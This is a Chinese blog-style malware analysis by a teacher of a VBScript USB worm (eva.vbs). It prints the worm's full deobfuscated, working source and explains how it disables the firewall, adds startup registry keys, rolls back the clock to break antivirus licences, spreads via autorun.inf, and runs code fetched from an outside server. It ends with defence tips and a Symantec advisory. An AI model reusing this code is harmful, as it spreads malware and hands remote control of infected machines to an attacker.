最近一位同事的笔记本遭遇了这个病毒,正好这学期在给计算机专业的同学们上VBscript于是顺便分析了一下。
首先从染病毒的计算机上提取下来病毒样本,由于是临时发现的,也没有特别准备,就用winrar压缩后保存。
在实验机器上打开病毒样本的压缩文件,我的Symantec 11立即报警,并把病毒删除了。所以必须禁用杀毒软件或者设置一个“例外区域”用于分析病毒,于是在桌面上新建了“evA”文件夹,并将之设置为防病毒例外文件夹,这下病毒样本安静的躺在里面了。
脚本病毒是解释型程序,因此我们不需要什么特别的反编译工具就能查看源代码了。虽然Windows的记事本足够用了,但是我还是喜欢使用UltraEdit。
使用打开UltraEdit打开病毒文件如图1,注意,为了防止误触发病毒,这里首先将vbs扩展名修改为txt。
图1 病毒脚本
打开病毒脚本,大家可以发现代码的可读性非常差,大小写字母杂乱的排列,并且还有很多无法理解的符号串。其实这是病毒为了保存自己而“想”出来的“保护伞”。
病毒代码大小写问题可以在UE(以后UltraEdit简称)中选择文本后,使用Ctrl+F5直接转换成小写字母。对于类似密码的“00c2%0033%……”的字符串相对来说比较麻烦点。
从病毒代码中可以发现只要出现“乱码”的地方都会有“STrREVeRSE”和“unEscaPE”函数的调用,其中“unescape”是vbscript标准函数,作用就是将经过escape函数编码过的字符串进行反编码。这里需要说明一下,由于Web中的Html对于有些符号是进行保留使用的,比如“<”和“>”符号,如果需要对这些符号进行显示那么需要对他们进行html编码,所有空格、标点、重音符号以及其他非 ASCII 字符都用 %xx 编码代替,其中 xx 等于表示该字符的十六进制数。例如,空格返回的是 "%20" 。字符值大于 255 的,比如中文,以 %uxxxx 格式存储。在对“密码”进行分析,发现其实就是将escape编码的符号串进行了反向,再结合“STrREVeRSE”函数名,可以断定病毒作者为了能使病毒逃避杀毒软件的检测,采用了将关键代码进行编码和反向存储的方式。
在UE中可以直接对字符串进行编码和解码,不过要对字符串镜像并没有现成的工具可以使用,最近正在给学生上JavaScript,顺手写了一个页面进行解码或者编码,虽然很简单,不过为了叙述的连续性,代码如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>将字符串Reverse</title>
<script type="text/javascript">
function _reverse()
{
with(document){
if(rev.order.checked){
revedstr = rev.instr.value.split('').reverse().join('')
write("<strong>reversed string:</strong>",revedstr,"<br>");
write("<strong>unescape string:</strong>",unescape(revedstr),"<br>");
write("<strong>escape string:</strong>",escape(revedstr),"<br>");
}
else{
unescapstr = unescape(rev.instr.value);
revedstr = unescapstr.split('').reverse().join('');
write("<strong>uneacape string:</strong>",unescapstr,"<br/>");
write("<strong>reversed string:</strong>",revedstr);
}
}
}
</script>
</head>
<body>
<form action="" method="post" name="rev">
<input name="order" type="checkbox" value="" />转换顺序(先求反后解码)?<br />
<input name="instr" type="text" value="请在这里输入" onmousemove="this.select()"/>
<input name="" type="button" value="转换" onclick="_reverse()"/></form>
</body>
</html>
使用以上的工具对代码进行解码后代码如下:
On Error Resume Next
Set fso=CreateObject("scripting.filesystemobject")
Set wshshell=CreateObject(strreverse("wscript.shell"))
Dim dri_list,dri_list0
Dim issend
issend=0
c_time=Date()
' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。
wshshell.run "net stop sharedaccess",0
Set drvs=fso.drives
sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2
thispath=wscript.ScriptFullName
Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8
scopy=fc.readall
fc.Close
Set fc=Nothing
' 写注册表注册文件sysinfo.reg,注册系统开机自动执行病毒
Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
")
' 导入注册表sysinfo.reg
wshshell.run "regedit /s sysinfo.reg",0
wscript.sleep 200
fso.deletefile sysdir&"\sysinfo.reg",True
' 如果当前运行脚本在系统目录中
If InStr(thispath,sysdir)>0 Then
dri_list0=listdrv()
o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) '回拨时间1年
wshshell.run "cmd /c Date "&o_time,0
wscript.sleep 10000
For dri_i=1 to Len(dri_list0)
Call writeauto(Mid(dri_list0,dri_i,1)&":\")
Next
wshshell.run "cmd /c Date "&c_time,0
' WMI应用查询计算机名,用户名
computername="":username=""
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem")
For Each objcomputer in colcomputers
computername=objcomputer.name
username=objcomputer.username
Next
If username="" Then username="evar"
If InStr(username,"\")<=0 Then
username=computername&"\"&username
End If
do
If issend=0 Then
' 链接外网,获得执行代码
Set xml=CreateObject("msxml2.serverxmlhttp")
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0
' http://202.119.104.100/zzb/是南师大学校党委组织部主办的网站
xml.setrequestheader "user-agent","evar"
xml.send()
If Err.number=0 Then
issend=1
res=xml.responsetext
If ucase(left(res,7))=ucase("Execute") Then Execute res
Else
Err.clear
End If
Set xml=Nothing
End If
dri_list=listdrv()
For dri_k=1 to Len(dri_list)
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then
Call writeauto(Mid(dri_list,dri_k,1)&":\")
End If
Next
dri_list0=dri_list
wscript.sleep 1000
loop
Else
wshshell.run "explorer .\",3
wscript.sleep 2000
wshshell.appactivate LCase("我的电脑")
wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ,其实就是关闭窗口
runflag=0
' 获得当前系统进程,WMI的应用
For each ps in GetObject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
If lcase(ps.name)=lcase("wscript.exe") Then
runflag=runflag+1
End If
Next
If runflag>=2 Then wscript.quit
Set sf=fso.GetFolder(sysdir)
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)
wshshell.run "cmd /c Date "&f_time,0
wscript.sleep 100
Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy))
wshshell.run "cmd /c Date "&c_time,0
wshshell.run sysdir&"\prncfg.vbs"
End If
' 混乱字符串,进行代码变体!
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function
' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function
' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 写入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub
以上的代码已经添加了很多注释,如果你能奈着性子看到这里,估计应该明白的差不多了。代码本身的编码质量一般,因为这个代码在下载病毒指令是从南师大的一个网站上下载的,所以估计是个学生所为。
在这段病毒中,作者使用了自定义的vs函数进行“变脸”以逃避防病毒检测,使用随机方式对病毒体进行大小写转换,不过实际上这种处理对真正的防病毒软件是没有任何效果的J
在这个病毒中,使用了注册表,Windows自动运行,文件操作还有WMI控制等技术,这些都是当前Windows环境中主流技术。可以发现这些技术微软都为脚本,特别是VBScrit提供了调用接口,从技术上讲是COM组件都提供了Automation接口,支持各种脚本的调用,本来是为了让Windows脚本能做更过的事,但是他们也“很好”好的为病毒服务,因此我们在这里分析病毒主要目的不是为了编写病毒,而是学习编程技术,利用其中的技术为我们的工作和学习提供方便。因此希望学习脚本编程的朋友,可以好好分析这个鲜活的例子。
以上说了那么多,其实还是没有怎么详细说道病毒,虽然我总是觉得代码就是最好的解释,但是总不能对不起标题上“分析”这两个字吧。
其实这个病毒主要还是利用的Windows的Autorun.inf文件运转的。作为病毒,必须用户去运行,无论是直接还是间接的。当“无知用户”双击带毒U盘等瞬间,Autorun.inf文件中指向的eva.vbs病毒启动了,首先通过关闭“SharedAccess”服务实现关闭Windows自带的防火墙,这主要是为了让后面的病毒能够和外部的傀儡网站进行通信做准备。
关闭防火墙后,脚本写入一个注册表文件,通过后面在代码中将之导入系统以实现病毒开机启动,其实这也是病毒的共同特征。程序在启动之后,需要判断当前是否已经被感染,通常脚本对当前系统进程的情况进行处理是比较困那的,不过还好,Windows的WMI为脚本访问系统功能提供了大量的接口,这里使用它检测系统中是否有多份病毒进程,如果有那么就会自动退出。这个病毒中其实主要的功能就是复制,这也是被定义为worm病毒的原因,但其中有个重要的特征值的让我觉得很有意思,就是这个病毒程序居然会执行从傀儡服务器发送来的病毒命令。
在这个病毒中,利用ServerXMLHTTP组件和傀儡服务器进行通讯,这个技术其实就是我们现在流行的AJAX技术中的基础。在这里和服务器通讯,并执行从服务器下载的病毒代码,这体现了现在病毒作者希望能够长期对“肉鸡”的控制,但是让我不能理解的是,病毒中有段代码是对当前计算机用户的账户进行检测的,并将用户信息发送到服务器上。众多周知,国人的操作系统中D版居多,其中这段时间被闹的沸沸扬扬的“番茄花园”之类的改版Windows居多,这类Windows均有个共同的个点,就是安装的系统都会使用他们的“品牌”作为用户名,比如“番茄花园”版的Windows中默认用户常常就是“番茄花园”。从这个病毒代码上看,难道它还要对Windwos版本进行一个“D版占有量普查”么?
最后还要提到的一点就是这个病毒对系统时间的修改,通过修改系统时间进行对防病毒软件的攻击往往是致命的。说起来比较有讽刺意味,被这个病毒仅仅通过将时间向前倒拨一年,这样很多防病毒软件的授权时间就变成了非法的,这就好像当年WindowsXP刚发布的时候,设置错误的时间可能会造成系统奔溃一样。错误的时间往往会破坏一个看似坚固的系统。通过这种方式,Kaspersky的授权时间变成了非法,随之而来的就是防病毒引擎挂起,这样这个没有技术没有难度的学生病毒就能大行其道了。这难道不是对防病毒厂商的讽刺么?为了保护自己的利益(使用时间授权),而让用户冒着被病毒攻击的危险。事实上,有些防病毒厂商就注意到这个问题,如果授权过期了也不应该关闭查杀引擎,最多关闭放病毒库的更新。另外这个病毒修改时间最妙的是把时间向前调整而不是往后,因为你不会知道不同的用户的防病毒软件的授权时间是1年还是n年,不过可以肯定,把时间向前调整一年的方式,可能对人而言同样的授权还是正常的,但是对于计算机就难以理解了。
以上是我对这个病毒的简单分析,主要谈了自己所感兴趣的几个部分。下面谈谈对于病毒的防护,前端时间,我参加了Symantec南京的一个产品发布会,会上有个销售在介绍他们的产品,其中他说到了一句会,“现在没有谁会让自己的电脑裸奔!!!”。相信很多朋友都知道,这里的裸奔就是指不安装计算机杀毒软件的电脑。实际上这个销售说错了,我曾经就有过1年多的时间“裸奔”,并且系统一直没有出现任何问题,不是我自己说的,是后来我安装了某品牌的防病毒软件进行了扫描后没有发现任何病毒的踪影。至于为什么后来安装了,完全是为了测试某品牌的杀毒软件,后来也懒的删除。
那么很多朋友要说,你可真是“神人”。我要答复的事,其实并不“神”,你们也可以做到,关键是你去不去做!
从这个病毒的运行全过程我们可以发现,基本上关键的操作都是需要系统管理员级别才能成功的。例如修改时间,枚举系统进程,对注册表进行读写。如果你所使用计算机的账户仅仅是个普通User权限,我想这个病毒就和你无缘了。
另外由于喜欢分析病毒的行为,这也为我“逃避”病毒找到了一些技巧。因为早在多年以前,我就分析过“欢乐时光”脚本病毒,那时候还不是很懂vbs脚本,可以说是病毒让我进一步了解了vbs脚本的能力,为我后来能够在工作中灵活运用脚本解决问题给了一个启发!
附录:Symantec对该病毒的资料
Discovered: March 12, 2007
Updated: March 12, 2007 5:17:48 PM
Type: Worm
Infection Length: 1,112 bytes
Systems Affected: Windows 98, Windows 95, Windows XP, Windows Me, Windows NT, Windows 2000
VBS.Runauto is a Visual Basic script worm that copies itself in the root folder of all drives (including removable devices) except floppy drives.
ProtectionInitial Rapid Release version March 13, 2007
Latest Rapid Release version September 17, 2008 revision 038
Initial Daily Certified version March 13, 2007
Latest Daily Certified version September 17, 2008 revision 039
Initial Weekly Certified release date March 14, 2007
Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.
Threat AssessmentWildWild Level: Low
Number of Infections: 0 - 49
Number of Sites: 0 - 2
Geographical Distribution: Low
Threat Containment: Easy
Removal: Easy
DamageDamage Level: Low
Payload: Copies itself to all drives on the compromised computer.
DistributionDistribution Level: Low
Writeup By: Mircea Ciubotariu